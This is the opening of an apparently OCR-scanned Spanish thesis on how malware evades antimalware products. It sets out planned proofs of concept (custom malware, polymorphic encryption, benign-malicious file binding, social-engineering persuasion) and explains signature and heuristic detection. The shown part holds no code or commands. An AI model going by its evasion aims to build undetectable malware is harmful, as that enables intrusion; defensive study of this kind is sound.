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RESUMEN

La cantidad de ataques aumenta de manera considerable en el mundo
cibernético, sin embargo, no sucede lo mismo con la creacion de nuevos
especimenes de malware. Esto, obedece a que los ciberatacantes modifican
0 mutan el cédigo del malware ya existente y lo mejoran para evadir los

principales mecanismos de proteccion.

El presente marco de referencia busca probar las técnicas de evasion
acompafadas con estrategias de persuasion que potencialmente utilizaria un
atacante para afectar a un activo de informacion usado por un ser humano,
independiente de su solucién antimalware. Para ello, se profundizara en la
manera como funcionan dichas soluciones. Esto, con el propdsito de conocer
los peligros que enfrentamos al obviar como estos programas maliciosos
operan. Se efectuaran pruebas en entornos controlados con el propésito de
evidenciar la facilidad con la que un malware podria volverse indetectable ante

las principales soluciones EndPoint vigentes.
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INTRODUCCION

Internet se ha convertido en el medio principal de comunicacién en la
actualidad, estadisticas demuestran que aproximadamente 5 de cada 10
habitantes del planeta Tierra tienen acceso a Internet. Esto, supone un
beneficio por la cantidad de servicios a los que un usuario puede acceder, pero

también un perjuicio, al ser potencial victima de un atacante cibernético.

Los delitos cibernéticos aumentan considerablemente, y esto conlleva a tomar
medidas que permitan asegurar nuestro activo intangible mas valioso: nuestra

informacion.

Internet ha evolucionado, pero también las técnicas de ataque cibernético, y la
mejor manera de estar protegidos es conocer cOmo estos mecanismos,
acompafados de técnicas de persuasion, operan. De esta forma podremos

estar protegidos ante un eventual ataque de esta naturaleza.



CAPITULO 1
GENERALIDADES

1.1 Antecedentes
El mundo, a nivel tecnolégico, avanza constantemente, y con ello el
tratamiento a la informacion de cada uno. Es mas comun ver robustos
servidores que almacenan la informacion de una organizaciéon que
archivadores con carpetas, es mas comun ver grandes colas de correos
electronicos por procesar en un servidor que filas en las oficinas del correo
postal para enviar un mensaje de un lugar a otro. Y es que el avance
tecnolégico, en si, ha traido una serie de beneficios que permiten al
usuario ahorrar tiempo y dinero en una tarea determinada, sin embargo,
este beneficio también tiene un riesgo consigo, y es que la accesibilidad a
nuestra informacién depende de lo bien asegurado que esté el activo que

lo contenga.



Muchas empresas a nivel mundial invierten millones de doélares en activos
robustos que almacenen su informacion critica, desde manuales de
procedimientos hasta planes estratégicos, todos ellos van orientados a
digitalizarse para optimizar su accesibilidad, sin embargo, se
despreocupan de un aspecto fundamental: invertir en asegurar su

infraestructura.

Al tener un mundo digitalizado, empiezan a morir los conceptos de
‘ladrones que irrumpiran en las oficinas” y empiezan a nacer conceptos
como “Criminales cibernéticos se apoderan de la informacién”. Empiezan
a ser menos frecuentes los “Guardias de seguridad” y mas frecuentes los
“‘Oficiales de Seguridad”, y todo esto, para adecuarse a un cambio

ineludible, y éste es: la digitalizacion de la informacion.

Una organizacion podria reemplazar un vehiculo robado, un edificio
afectado por un sismo, incluso a una persona que maneja tareas criticas
para el negocio, pero, ¢, Podria reemplazar un plan estratégico del negocio
gue fue robado por un criminal cibernético y que no cuenta con respaldo?,
¢ Podria reemplazar la lista de clientes con sus datos bancarios de toda la
vida de la organizacion que fue robada y compartida en Internet? Estos
sucesos podrian afectar directamente a la organizacion en términos de
dinero, e incluso en imagen, ya que, una empresa que no protege la
informacion de sus clientes, no es una empresa fiable. Esto retoma la

pregunta: ¢Es necesaria la proteccion de la informacion en una



organizacion?, la pregunta, después de lo detallado, se responde por si

sola.

En funcién a esto, lo mas comun en entornos empresariales es proteger
la informacion con renombradas soluciones de antimalware, delegando
gran parte de la responsabilidad del aseguramiento de la informacion a

estas soluciones.

1.2 Descripcion del problema

Una solucion antimalware no representa la inica medida para resolver el
problema de seguridad que podria afrontar una empresa, criminales
cibernéticos a nivel mundial perfeccionan sus programas maliciosos con
técnicas avanzadas de evasion para poder infiltrarse en infraestructuras
tecnoldgicas y pasar desapercibidos, pese a eso, se sigue invirtiendo

unicamente en soluciones de este tipo.

En un medio completamente digitalizado, se vuelve necesario conocer
cdmo este tipo de amenazas pueden llegar a impactarnos, y por ello, la
culturizacién en cuanto a la seguridad de la informacion es clave para ser

proactivos ante esta problematica.

El malware cada dia evoluciona, a la par con la evolucién de la web; crear

un marco de referencia que sirva de guia para aquellos que delegan la



responsabilidad de toda su seguridad a una solucién antimalware es
sumamente importante, para asi, asegurar de manera mas responsable

los activos de informacion que tienen a su cargo.

1.3 Solucién propuesta
La solucion estara orientada a la creacion de un marco de referencia que
indigue los métodos de deteccion de una solucion antimalware, las
estrategias que los ciberdelincuentes utilizan para infiltrar un malware y
las mitigaciones necesarias para no verse afectados por un problema de
este tipo. Este marco de referencia estara orientado a la tendencia de
seguridad holistica, es decir, no delegarle la responsabilidad a una sola
solucion, sino que se implementen capas que robustezcan la seguridad

de la infraestructura.

Por ello se vuelve necesario conocer cémo funciona una solucién
antimalware, sus métodos de deteccion y cuél es el comportamiento que
analiza con el fin de comprobar si es posible una evasion de dichos

mecanismos.

Esto, por su parte, guiard a los responsables de la seguridad de la
informacion en una empresa a implementar una seguridad de tipo

holistica.



Al ser un marco de referencia, se evaluaran amenazas en entornos

controlados que permitan comprobar si es posible la evasion contra

soluciones antimalware completamente actualizadas.

1.4 Objetivo general

Crear un marco de referencia que guie a los administradores de la

seguridad de la informacion acerca de cdmo protegerse en contra de las

técnicas evasion utilizadas por un programa malicioso y estrategias de

persuasion utilizadas por delincuentes cibernéticos para infiltrarse en una

infraestructura tecnoldgica y afectar directamente la confidencialidad,

integridad y disponibilidad de la informacion.

1.5 Objetivos especificos

o

Describir como la tecnologia ha evolucionado y permite que el mundo
esté constantemente conectado.

Mostrar las soluciones de seguridad que se utilizan comiunmente en
una infraestructura tecnolégica.

Identificar los aspectos a proteger en una infraestructura tecnologica.
Conocer los tipos de programas maliciosos y como estos han

evolucionado.



o Conocer los métodos de deteccion de las principales soluciones
antimalware.

o Conocer las estrategias de persuasion utilizadas por un delincuente
cibernético para infiltrarse en una red.

o Mostrar datos estadisticos que justifiquen la evasion de soluciones de
antimalware como una de las principales causas de delitos informéaticos
en la actualidad.

o Desarrollar una prueba en ambiente controlado para demostrar como
un malware puede evadir una solucién antimalware

o Mostrar una técnica de persuasion para aumentar la probabilidad de
éxito en un ataque de malware.

o Indicar los mecanismos que permitan mitigar la problematica originada

por usar solo una solucion antimalware.

1.6 Metodologia
La creacion de este marco de referencia tendra como metodologia la

prueba de concepto de tres componentes:

v Malware desarrollado desde cero
v' Malware cifrado de modo polimérfico

v Fusion de archivo benigno y maligno para demostracion



Estos, seran probados en ambientes controlados y bajo supervision para
monitorear el comportamiento sobre un activo de informaciéon con una

licencia de Windows 8.1 actualizada y soportada.

Cada uno de ellos representara una PoC (Prueba de concepto, por sus
siglas en inglés) que permitird demostrar como un software malicioso

puede evadir una solucion antimalware sin ser detectado.

Por consiguiente, este estudio comprobara cémo una aplicacién maliciosa
puede modificar su forma (mutar) y pasar desapercibida ante una solucion
de tipo EndPoint, y para dicha demostracion, se analizara el producto
resultante con las mejores firmas antimalware vigentes en el mercado y
comprendidas  en un  servicio web llamado  VirusTotal:

https://www.virustotal.com.

De manera local, también se hard una demostracion con la soluciéon ESET
EndPoint Antivirus vigente a la fecha del desarrollo del estudio (6.4) y con

las firmas actualizadas.


https://www.virustotal.com/

CAPITULO 2

MARCO TEORICO

2.1 Introduccién
La era digital que actualmente nos rodea dista mucho de lo que
encontrdbamos en los afios 70 u 80, aspectos como la comunicacion
efectiva, el trabajo colaborativo o la innovacion eran factores esquivos
para una época en la que se priorizaba la produccion de tangibles y no de
conocimiento. Vivimos en un medio en el que la comunicacion es una
constante y el medio para hacerlo es una variable, y por ello, un aspecto
gue destaca y diferencia la era industrial de la era de la informacién es,

evidentemente: La manera como n0S comunicamos.

En la actualidad, la comunicacion fluye de manera efectiva, y esto, porque

estamos permanentemente conectados a un mundo que, 40 afos atras,



era un simple prototipo de comunicacion militar, y que ahora se ha
convertido en la herramienta mas potente y necesaria de nuestro entorno:
El Internet. Millones de personas alrededor del mundo permanecen
constantemente conectadas, y esto hace que el Internet se vuelva una
herramienta imprescindible en diversos aspectos, tanto personales como

profesionales.

Empresas buscan estar conectadas al Internet para volverse mas
competitivas dentro de un mundo globalizado por la comunicacién. En este
medio, se destacan los que estan a la vanguardia en las Ultimas
tecnologias, y a medida que ha evolucionado la tecnologia, también lo han

hecho las amenazas.

Nos encontramos frente a un espacio cibernético lleno de herramientas
para el bien, y herramientas para el mal, cada dia se reportan incidentes
gue afectan a la integridad, la disponibilidad o la confidencialidad de la
informacion, y como Unica medida para mitigar esta probleméatica se

reconoce a las soluciones antimalware.

Miles de empresas destinan la seguridad de su infraestructura tecnoldgica
a una solucién antimalware que, si bien representa una capa robusta de

seguridad, no debe ser considerada como la Unica a implementar.

Este marco de referencia tiene como objetivo demostrar que una solucién

antivirus o antimalware no es, por si misma, la Unica solucion que las
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empresas y las personas deben considerar al momento de proteger el
activo mas preciado: Su informacion. Durante muchos afios se ha
delegado la responsabilidad total a este tipo de soluciones que, en su gran
mayoria, buscan proteger un activo de informacién con el menor uso de
recursos computacionales, lo cual hace que se vuelva poco util y
represente una amenaza casi tan grave como no contar con ninguna

proteccion.

La carrera de las firmas de antivirus por ser lo mas adquiridas hace que
su método de deteccion se vuelva critico, ya que, con poco uso de
recursos del equipo, deben lograr proteger al computador frente a
cualquier amenaza, llegando a implementar algoritmos de Inteligencia
Artificial para repotenciar sus técnicas de deteccion. Sin embargo, estas
soluciones resultan poco o nada utiles frente a usuarios que no estan
conscientes de la importancia de asegurar su informacién y que acceden
de manera indiscriminada a cualquier sitio en Internet o que descarga

cualquier tipo de informacion.

Dado que se trata de un marco de referencia, se evaluaran las respectivas
pruebas de concepto de dos tipos de malware (uno creado por el autor de
este marco de referencia y otro generado con una herramientas de
Seguridad Informatica conocida en el medio) que buscaran evadir las

firmas de antimalware mas renombradas del mercado actual.
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Asi también, en conjunto con las técnicas de evasion que se demostraran,
se aplicaran estrategias de persuasion basadas en ingenieria social:
Hacking al factor humano, con el Gnico propdsito de burlar al usuario y al
equipo que se pretende comprometer, dichas pruebas se efectuaran en
un entorno controlado con el propdsito de que sirva como referencia para
empresas, profesionales y personas en general acerca de la importancia
de no tan solo delegar toda la responsabilidad de nuestra seguridad a una
solucion antimalware, pues, ésta por si misma, no representa la solucion

completa a los riesgos de seguridad que se afrontan en la actualidad.

Por su parte, al contemplar que existe un riesgo potencialmente alto de
comprometer nuestra informacion por cualquier atacante, pese a tener
una solucion de seguridad actualizada, se presentaran las respectivas
recomendaciones de mitigacion que hagan frente a este hecho,
considerando que, lo que se demostrara, podria representar una amenaza

de manera inmediata.

Se destaca que la evasion de mecanismos de seguridad ldgica en
ordenadores es un aspecto que en la actualidad se estéa llevando a cabo
de manera regular, incluso llegando a evolucionar al concepto de Técnicas
de Evasion Avanzadas (Advanced Evasion Techniques), por ello, se
consider6 de vital importancia exponer esta amenaza para concienciar a

todos los que formamos parte de este mundo tecnoldgico.
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2.2 Seguridad l6gica en una infraestructura tecnologica
2.2.1 Seguridad de la Informacion
La Seguridad de la Informacidn representa la ciencia que busca
proteger los activos de informacion, independientemente del
medio que los contenga, esto, con la definicion de politicas,
procedimientos y controles que conlleven a minimizar el riesgo de

una potencial afectacion.

La proteccion de la informacion dentro de este esquema puede

ser.

v En medios electrénicos

v En medios fisicos

Esta ciencia busca proteger activos de informacion que se
manejen de manera regular en una organizacion, y es que
posiblemente un equipo de cédmputo sin soluciones de seguridad
represente un riesgo, pero también lo representaria aquel
ejecutivo que imprime sus contrasefias de acceso a diversos
servicios de computo y lo deja reposar sobre su escritorio,
guedando totalmente accesible a cualquier persona. Justamente
la seguridad de la informacién busca reducir el riesgo de dichos

eventos de manera organizada.
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Empresas publicas y privadas manejan informacion critica y
confidencial de sus trabajadores, sus clientes, sus proveedores,
etc., y por ello, amerita que ésta sea correctamente tratada y
protegida, para tener un valor agregado qué mostrar frente al
resto de competidores del medio. Sistemas como ISO 27001 o
esquemas gubernamentales de ciberseguridad evolucionan
constantemente con el Unico propésito de evitar robo, pérdida o

corrupcion de la informacion.

Evidentemente, el implementar medidas que aseguren la
informacion en una organizacion puede presentar diversos

inconvenientes, entre ellos se destacan:

4 Usuarios resistentes al cambio.

v Usuarios que consideran un amento en su carga
laboral el cumplir con dichas politicas.

v Usuarios poco conocedores de aspectos que trata
la seguridad de la informacion.

v Inversion considerable por parte de los altos

mandos en implementacion.

Sin embargo, una vez lograda la implementacion de politicas que
aseguren la confidencialidad, disponibilidad e integridad de la

informacion, la organizacion contara con personal mas consciente
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y preparado frente a los potenciales riesgos que implican ser

parte de una sociedad en constante avance tecnoldgico.

2.2.2 Pilares de la seguridad de la informacion
La Seguridad de la Informacion se basa, fundamentalmente, en

tres pilares necesarios a considerar cuando se protege un activo:

Confidencialidad

Integridad

Disponibilidad

Figura 2.1: Pilares de la seguridad de la Informacién

La confidencialidad, integridad y disponibilidad representan las
bases con las que todo activo de informacion debe contar para

considerarse seguro.
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Confidencialidad: Que la informacion sea vista por usuarios

autorizados.

Integridad: Que la informacion no sea modificada ni alterada de

forma no autorizada.

Disponibilidad: Que la informacién se mantenga accesible y a

disposicion para aquellos que tenga que accederla.

Siguiendo estos principios, se puede considerar que un activo de
informacion es seguro, ya que, aquel activo que tiene definido
roles para el acceso a su informacion, cuenta con la
confidencialidad adecuada; aquel activo cuya informacién no es
alterada o modificada por personas ajenas a los responsables,
cuenta con la integridad adecuada y aquel activo que no tiene
caidas, asegurando la integridad de su servicio y por consiguiente

su accesibilidad, cuenta con la disponibilidad adecuada.

Estos tres pilares son ejes importantes en un activo, por
consiguiente, aquel que no cuente con uno de ellos puede
considerarse potencialmente inseguro. Es por esto, que los
procedimientos y politicas de un Sistema de Gestion de
Seguridad de la informacién buscan asegurar aquellos puntos
que carecen de este esquema. La confidencialidad, Integridad y

Disponibilidad fungen como tres engranajes de una misma
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magquina, si uno de ellos no funciona, los otros dos no tienen

funcién en absoluto.

2.2.3 Seguridad Informatica

La Seguridad Informatica, como parte de la Seguridad de la
Informacidn, es aquella disciplina orientada a proteger los equipos
electronicos donde se almacena la informacibn en una
organizacion. La proteccion a la infraestructura tecnoldgica es su
principal objetivo, y por ello, se busca proteger a los equipos de

las principales amenazas a las que estan expuestos.

Si bien, las politicas y procedimientos de la Seguridad de la
Informacién ayudan a proteger a los equipos, es la Seguridad
Informatica la que se enfoca en la proteccion de éstos en cuanto

a.

v' Afectacion por un software malicioso
v Intrusion por un atacante

v" Corrupcion de informacién

v' Pérdida de informacion

v' Dafio légico

v" Daiio fisico
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La informacién con la que cuenta una computadora, y la que ésta
a su vez transmite, es de vital importancia proteger, y si no se
cuenta con herramientas apropiadas o procedimientos
establecidos, podria significar una pérdida inevitable de
informacion. La Seguridad Informética actia como Vvigia,
procurando que la proteccion en una infraestructura tecnoldgica

sea proactiva, y no reactiva.

Y es que esto es de vital importancia conocer, ya que no solo se
rige a computadoras, sino a cualquier dispositivo electronico
conectado a la red. La globalizacion de la tecnologia ha hecho
que los seres humanos dependan en gran parte de equipos
computacionales, prueba de ello fue la extincion las direcciones
IPv4. Hace una década era impensable que una casa tenga mas
de una direccion IP publica, por lo que el formato IPv4 que
contemplaba un nimero de combinaciones de cuatro punto tres
mil millones de direcciones era completamente suficiente para la
cantidad de habitantes en la tierra, sin embargo, surgio la era de
dispositivos moviles, laptops, televisores inteligentes, tabletas,
incluso refrigeradoras inteligentes, lo que suponia que un ser
humano podia tener varias direcciones IP, y por ello se hizo
necesario contar con un formato mucho mayor, fue ahi cuando

nacié IPv6, producto del agotamiento de IPv4, con el objetivo de
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tener la capacidad suficiente para poder dotar de direcciones IP
a todos los dispositivos de todos los seres humanos que habitan
en la tierra. El tener diferentes dispositivos conectados no solo
supuso que se debia crear un nuevo esquema de
direccionamiento IP, sino una nueva tendencia al ver que no solo
equipos de cOmputo se conectaban al internet, sino varias
“cosas”, por ello nacioé el concepto de 10T (Internet de las Cosas,

por sus siglas en inglés).

Y el hecho de conectar multiples dispositivos dio a lugar a tener
muchos mas riesgos de los pensados en materia de Seguridad,
es por esto que la materia de Seguridad Informatica se volvio
indispensable no solo para grandes compafiias, sino para todos

los que manejamos dispositivos conectados a la red.

2.2.4 Aspectos a proteger en una infraestructura tecnoldgica
En una infraestructura tecnolégica debemos considerar factores
fisicos y l6gicos al momento de un aseguramiento apropiado, sin
embargo, considerando el esquema de un Sistema de Gestidn de
Seguridad de la Informacion, la proteccidon a una infraestructura

debe basarse en estos tres aspectos:
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Procedimientos: Deben existir procedimientos que estén

destinados a proteger la infraestructura tecnoldgica, y que éstos,
sean correctamente socializados con el personal que opera los

equipos.

Personas: Los usuarios de una red de comunicacion deben estar
empoderados del uso correcto y apropiado de sus equipos de
cémputo, asi como de los procedimientos que se crearon con el

fin de asegurar la infraestructura.

Tecnologia: Se debe contar con tecnologia que permita
implementar los procedimientos disefiados para el
aseguramiento, no es valido si se cuenta con tecnologia obsoleta
gue no sea escalable, y por consiguiente, implique que no pueda

ser asegurada a nivel logico.

Estos tres aspectos trabajan de manera sinérgica para asegurar
una infraestructura, el no hacerlo, implicaria que habria un riesgo
de seguridad considerable, esto se lo evidenciara en los

siguientes escenarios:

Escenario 1:

Se cuenta con procedimientos de seguridad claramente
establecidos, con personas conscientes de la implantacion de

estos, pero manejan equipos con Sistemas Operativos caducos y
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sin soporte alguno, dando pie a que se exploten vulnerabilidades

gue no seran atendidas por el fabricante.

Escenario 2:

Se cuenta con procedimientos de seguridad claramente
establecidos, con tecnologia escalable y actualizable que permita
estar al dia en los constantes avances tecnoldgicos, pero los
usuarios de la infraestructura no estdn empoderados de los
procedimientos e ingresan de manera indiscriminada a cualquier

sitio web y/o descargan material que no se ha autorizado.

Escenario 3:

Se cuenta con tecnologia escalable y actualizable, los usuarios
que la operan estadn conscientes de que hay riesgos al usar de
manera indiscriminada el Internet, pero carecen de procedimiento
definidos para asegurar la infraestructura, y al no existir, insertan
dispositivos de memoria portables sin considerar que alli podria

existir un gran riesgo de seguridad.

En estos tres escenarios, solo basta con que un punto no se
cumpla para que el resto sea altamente vulnerable, la siguiente

tabla de verdad lo demuestra de manera abstracta:



Proc= Procedimientos

Per= Personas

Tec= Tecnologia
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Tabla 1.- Aspectos a proteger en una infraestructura tecnoldgica

Proc | Per | Tec | Seguridad en la infraestructura
(Proc and Per and Tec)
1 1 1 1
1 1 0 0
1 0 1 0
1 0 0 0
0 1 1 0
0 1 0 0
0 0 1 0
0 0 0 0

Tal como lo demuestra la tabla 1, hay 8 combinaciones (2”3,

siendo tres el nUmero de entradas) en las que estos tres aspectos

pueden intervenir de manera activa o pasiva, y solo una de ellas

es valida, puesto que las demas suponen la falta de un elemento.

Para un oficial de seguridad es necesario asegurar la mayor

cantidad de aspectos en una red de comunicacién, sin embargo,

para un atacante es necesario vulnerar

uno solo para
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comprometer la red de manera instantanea. Por ello, se vuelve
necesario un aseguramiento integral, y que se tome conciencia
que la seguridad no es un gasto, sino una inversion proactiva, con

el fin de proteger la informacion de nuestra organizacion.

2.3 Mecanismos para la proteccion de una infraestructura tecnoldgica
El marco de referencia se centrara en la comprobacion de la evasion de
una solucion antimalware y en la persuasion a un usuario para que lo
ejecute, comprometiendo potencialmente cualquier activo en una
organizacion, por ello, se exponen, a continuacion, los mecanismos con
los que una organizacion podria contar para minimizar exponencialmente
la probabilidad de ocurrencia de un ataque informatico que comprometa a

su infraestructura tecnolégica.

2.3.1 Soluciones Antimalware
Las amenazas en el medio digital han hecho imprescindible para
un usuario final o corporativo utilizar una solucién que permita el
monitoreo constante de su equipo, y por consiguiente, proteccién

integral de la informacion.

Las soluciones antimalware son sistemas locales que se instalan
del lado del cliente para monitorear el ingreso de cualquier tipo de

archivo, indistintamente de la via de entrada (medios extraibles,
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descargas de internet, transferencia via Bluetooth, etc.), dicha
solucion representa la primera capa de seguridad a implementar
por un usuario u operador, ya que es el primer filtro en un
computador para eliminar o contener amenazas que suponen un

riesgo a la seguridad de la informacion.

Pese a iniciar como una solucion que tan solo verifica archivos de
manera local, los principales fabricantes de antivirus han
evolucionado convirtiendo sus sistemas en soluciones
antimalware que no tan solo ofrecen proteccion ante archivos o
programas maliciosos, sino que también, ofrecen soluciones
como: monitoreo anti spam, proteccion ante accesos a paginas
web clasificadas como peligrosas, muros cortafuegos locales, etc.
Esto, si bien beneficia al usuario final en materia de seguridad,
también lo perjudica al contar con una solucién que basa su
proteccion en el uso constante de recursos que podria,
eventualmente, ralentizar al equipo que protege, muestra de ello
es que las principales comparativas basan sus resultados no tan
solo en la efectividad de deteccién y/o contencion, sino también
en cdmo éstos utilizan el menor consumo de recursos en un

ordenador.

Las soluciones antimalware son completamente asequibles al

usuario final y corporativo, por lo que se vuelve relativamente facil
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implementarlo, sin embargo, esto requiere de una inversion que
debe hacerse de manera proactiva, y que muchos usuarios no
estan dispuestos a efectuar. En capitulos posteriores se

identificaran estadisticas que claramente demuestren este hecho.

2.3.2 Muro Cortafuegos (Firewall)
Ante el avance significativo de las amenazas informéaticas, no tan
solo una capa es necesaria para estar protegidos, por ello, existe
una solucion que se enfoca en la proteccion de un equipo que
esté conectado a una red de comunicacion vy filtre de manera
Optima todo el trafico que envie o reciba, esta solucion se
denomina: Muro cortafuegos (Firewall en inglés), el cual puede
ser local, es decir, en un computador, o en una red de
comunicacién como un equipo de frontera que filtre todo el trafico.

A continuacion, una Figura que detalla su funcionamiento:
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Muro cortafuegos
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Figura 2.2.- Esquema de un muro cortafuegos en unared de datos.

En un esquema local, para un computador, el muro cortafuegos
no es un hardware, como lo denota la Figura 2.2, sino que es un
software que filtra el trafico saliente y entrante de dicho terminal.
Microsoft provee uno dentro de la licencia de su Sistema
Operativo, no obstante, ya viene incluido también en todas las

soluciones antimalware del mercado actual.

2.3.3 Otras soluciones de seguridad
Dada la naturaleza de como se transporta la informacién en la
red, se han implementado medidas de seguridad acordes a la

evolucion de la transmision de datos, estas soluciones son:



26

IDS/IPS: Sistema de deteccidén/Prevencion de intrusos, solucion
gue se mantiene escuchando anomalias en la red de datos para

protegerla de potenciales amenazas.

SIEM: Security Information and Event Manager, es la solucién
que permite recolectar los eventos generados en una
infraestructura de comunicacién y gestionarlos para tener un
mayor y mejor control de una red, esto, se basa en los

denominados logs que generan todos los nodos conectados.

NG Firewall: Muros cortafuegos de Préxima generacion,

soluciones que no tan solo filtran puertos de red, sino que,
combinan otros moédulos de seguridad, incluyendo los antes
descritos: IPS/IDS, SIEM, QoS (Calidad de Servicio),

WebFiltering, etc.

2.4 Soluciones Antimalware como mecanismo principal de proteccion

2.4.1 Descripcion de la solucidn
Tal como se lo expuso en el subcapitulo 2.3.1, el antimalware es la
primera capa en cuanto a soluciones de seguridad se refiere. Dado
gue el propésito de este estudio es demostrar como se evade este
tipo de soluciones, se hace imprescindible conocer a fondo como

operan estos programas.
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Asi también, se vuelve necesario precisar que las soluciones de
antivirus solo catalogaban a un tipo de malware, en la actualidad,
las soluciones Antimalware corresponden a la mas alta gama de

deteccion de diversos especimenes de software malicioso.

Es importante considerar que cada firma de antimalware posee un
laboratorio de estudio, donde cientos de ingenieros estan
permanentemente estudiando las amenazas que circundan en el
medio digital, éstos son los encargados de tener las ultimas
actualizaciones de amenazas que estén en el ambiente, por ello,
todas las firmas aconsejan que se actualice de manera permanente
una solucién antimalware, ya que eso asegura que la probabilidad

de deteccion y contencion de un malware sea sumamente alta.

El antimalware se instala en el equipo cliente, y este, mediante
técnicas de deteccion, busca proteger al usuario ante cualquier
amenaza, a continuacion detallamos los métodos de deteccion de

malware.

2.4.2 Métodos de deteccion
Una solucién antimalware posee dos métodos de deteccion para

contener o eliminar alguna amenaza en especifico, estos son:



28

Deteccion basada en firmas:

Esta deteccion hace uso de una base de datos interna en la que son
almacenados todos los programas maliciosos que previamente el
laboratorio del fabricante ha estudiado, este método hace que la
deteccidn sea 6ptima en cuanto a velocidad, ya que consume pocos

recursos.

Todas las soluciones de seguridad instan a sus usuarios a mantener
actualizadas las firmas de su respectivo antimalware, y esto, para

mantener a la solucion atenta a cualquier peligro que pueda darse.

Al hacer poco uso de recursos de computo, se vuelve el método de
deteccion mas viable, pero también menos fiable, ya que su tasa de
éxito es directamente proporcional al nimero de veces que es

actualizado.

En esencia, esta base de datos contiene las firmas del malware, que
corresponde a un detalle de su integridad y comportamiento,
efectuando una analogia, es como tener en el cuerpo humano
sintomas de una infeccion, y el doctor, basado en dichos sintomas,

sabe de qué tipo de enfermedad se trata y qué medicina recetar.

Sin embargo, esto se vuelve no funcional cuando se reciben ataques
denominados dia cero (0-day), estos programas maliciosos

aparecen como especimenes que no han sido detectados ni
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estudiados por los laboratorios de antimalware, y por tanto, no
constan en su base de datos de firmas, por consiguiente, la solucién

se ve limitada para detectar, contener y eliminar esta amenaza.

Por ello, existe otro método de deteccidbn que contempla esta

posibilidad.

Deteccion heuristica

Este método resulta una solucién a la problematica generada a la
deteccion basada en firmas, ya que se trata de una deteccidn
proactiva basada en algoritmos de inteligencia artificial que permiten
estudiar comportamientos anémalos en el entorno del equipo de

cémputo.

La palabra Heuristica proviene del griego “heuriskein”, cuyo

significado es encontrar o descubrir. [1]

Este método de deteccion es totalmente eficiente ante ataques de
tipo 0-day, ya que no se basa en una lista de firmas para cotejar sus
propiedades, sino que, fundamenta su deteccibn en
comportamientos andmalos, tales como: uso de memoria,
modificacion de archivos criticos del sistema, uso indebido de ancho

de banda para transferencia de informacion, entre otros.

Y son estos algoritmos los que, dependiendo del fabricante, hacen

de una solucion antimalware completamente funcional, pero con una
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limitante: este método, dependiendo de como se lo aplique,

consumira recursos que haran ralentizar el equipo que lo alberga.

En una carrera por ser la solucion antimalware mas utilizada, este
tipo de deteccion juega un papel importante y determinante, ya que
estos deben posicionarse como soluciones con alta tasa de
deteccion, y a la vez, poco consumo de recursos. En ese esquema,
la heuristica ha evolucionado encontrando patrones de Inteligencia
artificial que aprovechan el menor uso de memoria/procesamiento,

tales como los que se muestran a continuacion.

2.4.3 Inteligencia Artificial en la deteccién de un malware

Algoritmo de l6gica fusible (Fuzzy logic)

Este algoritmo se basa en no tomar de manera clésica los elementos
de un patron entre 1 y 0, sino mas, bien fomentando la relatividad
basada en que hay un rango entre 0 y 1, y que el resultado puede

ser relativo y no absoluto.

Este algoritmo es capaz de clasificar, efectuando toma de decision
racional y, basado en un patrén previamente definido, un resultado

especifico tal como se lo muestra en la siguiente tabla:
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Tabla 2.- Comparativa entre l6gica clasica y l6gica fusible

Légica clasica Légica fusible

0= Benigno

0,2= Potencialmente benigno
0= benigno

0,5= Minimamente benigno
1= Malicioso

0,7= Potencialmente malicioso

1= Malicioso

Esta l6gica es implementada como solucion a la deteccion de un
software malicioso cuya firma no ha sido identificada, pero que su
comportamiento en el equipo victima hace que sea categorizado en
funcién de lo que busca realizar. Con ello existe una aproximacion,
por medio de la cual, la solucién antimalware puede tomar la

decision de identificarlo como amenaza. [2]

Para ello, hace uso de reglas previamente definidas por el
fabricante, mecanismos de inferencia propios del algoritmo y base

de conocimientos para obtener un resultado final. [2]

Lo particular en este algoritmo es que al utilizar un mecanismo de
inferencia, efectlia un autoaprendizaje, lo cual vuelve a la solucién

antimalware robusta y oOptima al utilizar el menor consumo de
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recursos para la deteccidn, contencion y eliminacion de un programa

malicioso. [3]

Algoritmo genético.-

Este algoritmo genético, aplicado al método de deteccion heuristico,
es otra técnica que se basa en el origen de la evolucién para derivar
reglas de clasificacién y categorizacion adecuadas, sin que esto

implique que se deba conocer la firma de la amenaza.

El concepto de dicho algoritmo se basa en seleccionar una
poblacion, a la cual se le aplicara una ecuacion de aptitud (ecuacion
gue evaluara si se cumple con el objetivo), y en caso de no ser
positivo, ingresara a una iteracion, en la que, dicha poblacion pasara
por un proceso de seleccion, combinacion, mutacién y sera
nuevamente evaluada por la ecuacién de aptitud, el nimero de
iteraciones dependerd de si, al evaluarse, conseguird el resultado
esperado. En la siguiente figura se demuestra como funciona dicha
técnica denominada machine-learning based (Basada en

aprendizaje de maquina): [4]
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Inicio

Seleccion de una
poblacion

o=

Evaluacion con
ecuacion de aptitud /
Fitness f(x)

f(x) alcanza la

Se ha alcanzado la mejor
solucion optima 0
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(Crossover)

Mutar

Generar nueva
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Figura 2.3.- Diagrama de flujo del Algoritmo genético

La evolucion se basa en la seleccién de los mejores cromosomas
de la especie, esto se da, al evaluar mediante una ecuacion si éstos
sobrevivirdn o no. El conjunto de iteraciones, efectuando seleccion,

combinacién y mutacion, hara que la poblacion con la ponderacion
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més alta (que es evaluada por medio de la funcion de Aptitud o
Fitness) sea la resultante, y por consiguiente, considerada la mejor

solucion. [4]

En términos de deteccidn heuristica, estas técnicas algoritmicas
hacen que la solucion antimalware se vuelva inferencial y pueda
evaluar de manera precisa una potencial amenaza procurando una

tasa de éxito elevada.

Basandonos en este patrén, las reglas que define el fabricante
serian un conjunto de valores agregados a la ecuacion de aptitud o
Fitness, y las iteraciones serian la cantidad de veces que se requiera

para que el resultante de dicha ecuacion sea la solucion idonea.

Sin embargo, estos patrones también traen consigo un factor muy
comun dentro de la deteccién de amenazas: el gran consumo de
recursos. En efecto, las soluciones antimalware utilizan el sistema
de deteccidn heuristica para repotenciar la proteccion al usuario,
pero dependiendo de las caracteristicas del equipo que lo aloje, éste

ralentizard de manera impactante el computador.

Otro factor a considerar es que la deteccién heuristica, al asociar
comportamientos y patrones, podra devolver falsos positivos y
falsos negativos, el primero corresponde a programas benignos que,

por alguna funcionalidad incorporada, son detectados como
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malware, y por otra parte, un falso negativo corresponde al malware
gue no es detectado como tal porque falla en la inferencia. Esto,
podria resultar perjudicial para el usuario final ya que al haber
muchos falsos positivos, que comunmente se dan cuando la
deteccion es muy exhaustiva, entorpeceria el uso del equipo para

dicho usuario.

La deteccion heuristica es relativa en cada fabricante de
antimalware, cada uno es libre de implementar el tipo de deteccién
que crea conveniente, considerando que debe cumplir con
